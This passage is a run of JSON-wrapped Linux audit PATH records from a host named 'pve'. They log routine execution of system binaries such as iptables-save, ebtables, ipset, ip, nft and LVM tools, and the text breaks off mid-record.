{"@timestamp":1781964445156,"@rawstring":"node=pve type=PATH msg=audit(1781964445.156:61048): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445156,"@rawstring":"node=pve type=PATH msg=audit(1781964445.156:61048): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445155,"@rawstring":"node=pve type=PATH msg=audit(1781964445.155:61047): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445155,"@rawstring":"node=pve type=PATH msg=audit(1781964445.155:61047): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445155,"@rawstring":"node=pve type=PATH msg=audit(1781964445.155:61046): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445151,"@rawstring":"node=pve type=PATH msg=audit(1781964445.151:61045): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445151,"@rawstring":"node=pve type=PATH msg=audit(1781964445.151:61045): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445151,"@rawstring":"node=pve type=PATH msg=audit(1781964445.151:61045): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445145,"@rawstring":"node=pve type=PATH msg=audit(1781964445.145:61044): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445145,"@rawstring":"node=pve type=PATH msg=audit(1781964445.145:61044): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445138,"@rawstring":"node=pve type=PATH msg=audit(1781964445.138:61043): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445138,"@rawstring":"node=pve type=PATH msg=audit(1781964445.138:61043): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445133,"@rawstring":"node=pve type=PATH msg=audit(1781964445.133:61042): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445133,"@rawstring":"node=pve type=PATH msg=audit(1781964445.133:61042): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445126,"@rawstring":"node=pve type=PATH msg=audit(1781964445.126:61041): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445126,"@rawstring":"node=pve type=PATH msg=audit(1781964445.126:61041): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445119,"@rawstring":"node=pve type=PATH msg=audit(1781964445.119:61040): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964445119,"@rawstring":"node=pve type=PATH msg=audit(1781964445.119:61040): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964444393,"@rawstring":"node=pve type=PATH msg=audit(1781964444.393:61039): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964444393,"@rawstring":"node=pve type=PATH msg=audit(1781964444.393:61039): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964444393,"@rawstring":"node=pve type=PATH msg=audit(1781964444.393:61038): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964444393,"@rawstring":"node=pve type=PATH msg=audit(1781964444.393:61037): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964444385,"@rawstring":"node=pve type=PATH msg=audit(1781964444.385:61036): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964444385,"@rawstring":"node=pve type=PATH msg=audit(1781964444.385:61036): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964444385,"@rawstring":"node=pve type=PATH msg=audit(1781964444.385:61035): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964444385,"@rawstring":"node=pve type=PATH msg=audit(1781964444.385:61034): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964444320,"@rawstring":"node=pve type=PATH msg=audit(1781964444.320:61033): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964444320,"@rawstring":"node=pve type=PATH msg=audit(1781964444.320:61033): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964444275,"@rawstring":"node=pve type=PATH msg=audit(1781964444.275:61032): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964444275,"@rawstring":"node=pve type=PATH msg=audit(1781964444.275:61032): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964439376,"@rawstring":"node=pve type=PATH msg=audit(1781964439.376:61031): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964439376,"@rawstring":"node=pve type=PATH msg=audit(1781964439.376:61031): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964439376,"@rawstring":"node=pve type=PATH msg=audit(1781964439.376:61030): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964439376,"@rawstring":"node=pve type=PATH msg=audit(1781964439.376:61029): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964439361,"@rawstring":"node=pve type=PATH msg=audit(1781964439.361:61028): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964439361,"@rawstring":"node=pve type=PATH msg=audit(1781964439.361:61028): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964439361,"@rawstring":"node=pve type=PATH msg=audit(1781964439.361:61027): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964439361,"@rawstring":"node=pve type=PATH msg=audit(1781964439.361:61026): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436111,"@rawstring":"node=pve type=PATH msg=audit(1781964436.111:61025): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436111,"@rawstring":"node=pve type=PATH msg=audit(1781964436.111:61025): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436108,"@rawstring":"node=pve type=PATH msg=audit(1781964436.108:61024): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436108,"@rawstring":"node=pve type=PATH msg=audit(1781964436.108:61024): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436106,"@rawstring":"node=pve type=PATH msg=audit(1781964436.106:61023): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436106,"@rawstring":"node=pve type=PATH msg=audit(1781964436.106:61023): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436106,"@rawstring":"node=pve type=PATH msg=audit(1781964436.106:61022): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436102,"@rawstring":"node=pve type=PATH msg=audit(1781964436.102:61021): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436102,"@rawstring":"node=pve type=PATH msg=audit(1781964436.102:61021): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436102,"@rawstring":"node=pve type=PATH msg=audit(1781964436.102:61021): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436096,"@rawstring":"node=pve type=PATH msg=audit(1781964436.096:61020): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436096,"@rawstring":"node=pve type=PATH msg=audit(1781964436.096:61020): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436090,"@rawstring":"node=pve type=PATH msg=audit(1781964436.090:61019): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436090,"@rawstring":"node=pve type=PATH msg=audit(1781964436.090:61019): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436083,"@rawstring":"node=pve type=PATH msg=audit(1781964436.083:61018): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436083,"@rawstring":"node=pve type=PATH msg=audit(1781964436.083:61018): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436077,"@rawstring":"node=pve type=PATH msg=audit(1781964436.077:61017): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436077,"@rawstring":"node=pve type=PATH msg=audit(1781964436.077:61017): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436071,"@rawstring":"node=pve type=PATH msg=audit(1781964436.071:61015): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436071,"@rawstring":"node=pve type=PATH msg=audit(1781964436.071:61015): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436066,"@rawstring":"node=pve type=PATH msg=audit(1781964436.066:61014): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436066,"@rawstring":"node=pve type=PATH msg=audit(1781964436.066:61014): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436061,"@rawstring":"node=pve type=PATH msg=audit(1781964436.061:61013): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436061,"@rawstring":"node=pve type=PATH msg=audit(1781964436.061:61013): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436056,"@rawstring":"node=pve type=PATH msg=audit(1781964436.056:61012): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436056,"@rawstring":"node=pve type=PATH msg=audit(1781964436.056:61012): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436051,"@rawstring":"node=pve type=PATH msg=audit(1781964436.051:61011): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436051,"@rawstring":"node=pve type=PATH msg=audit(1781964436.051:61011): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436046,"@rawstring":"node=pve type=PATH msg=audit(1781964436.046:61010): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436046,"@rawstring":"node=pve type=PATH msg=audit(1781964436.046:61010): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436040,"@rawstring":"node=pve type=PATH msg=audit(1781964436.040:61009): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436040,"@rawstring":"node=pve type=PATH msg=audit(1781964436.040:61009): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436034,"@rawstring":"node=pve type=PATH msg=audit(1781964436.034:61008): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436034,"@rawstring":"node=pve type=PATH msg=audit(1781964436.034:61008): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436031,"@rawstring":"node=pve type=PATH msg=audit(1781964436.031:61007): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436031,"@rawstring":"node=pve type=PATH msg=audit(1781964436.031:61007): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436028,"@rawstring":"node=pve type=PATH msg=audit(1781964436.028:61006): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436028,"@rawstring":"node=pve type=PATH msg=audit(1781964436.028:61006): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436027,"@rawstring":"node=pve type=PATH msg=audit(1781964436.027:61005): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436027,"@rawstring":"node=pve type=PATH msg=audit(1781964436.027:61005): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436027,"@rawstring":"node=pve type=PATH msg=audit(1781964436.027:61004): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436023,"@rawstring":"node=pve type=PATH msg=audit(1781964436.023:61003): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436023,"@rawstring":"node=pve type=PATH msg=audit(1781964436.023:61003): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436023,"@rawstring":"node=pve type=PATH msg=audit(1781964436.023:61003): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436017,"@rawstring":"node=pve type=PATH msg=audit(1781964436.017:61002): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436017,"@rawstring":"node=pve type=PATH msg=audit(1781964436.017:61002): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436011,"@rawstring":"node=pve type=PATH msg=audit(1781964436.011:61001): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436011,"@rawstring":"node=pve type=PATH msg=audit(1781964436.011:61001): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436007,"@rawstring":"node=pve type=PATH msg=audit(1781964436.007:61000): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436007,"@rawstring":"node=pve type=PATH msg=audit(1781964436.007:61000): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436001,"@rawstring":"node=pve type=PATH msg=audit(1781964436.001:60999): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964436001,"@rawstring":"node=pve type=PATH msg=audit(1781964436.001:60999): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964435994,"@rawstring":"node=pve type=PATH msg=audit(1781964435.994:60998): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964435994,"@rawstring":"node=pve type=PATH msg=audit(1781964435.994:60998): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964434352,"@rawstring":"node=pve type=PATH msg=audit(1781964434.352:60997): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964434352,"@rawstring":"node=pve type=PATH msg=audit(1781964434.352:60997): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964434352,"@rawstring":"node=pve type=PATH msg=audit(1781964434.352:60996): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964434352,"@rawstring":"node=pve 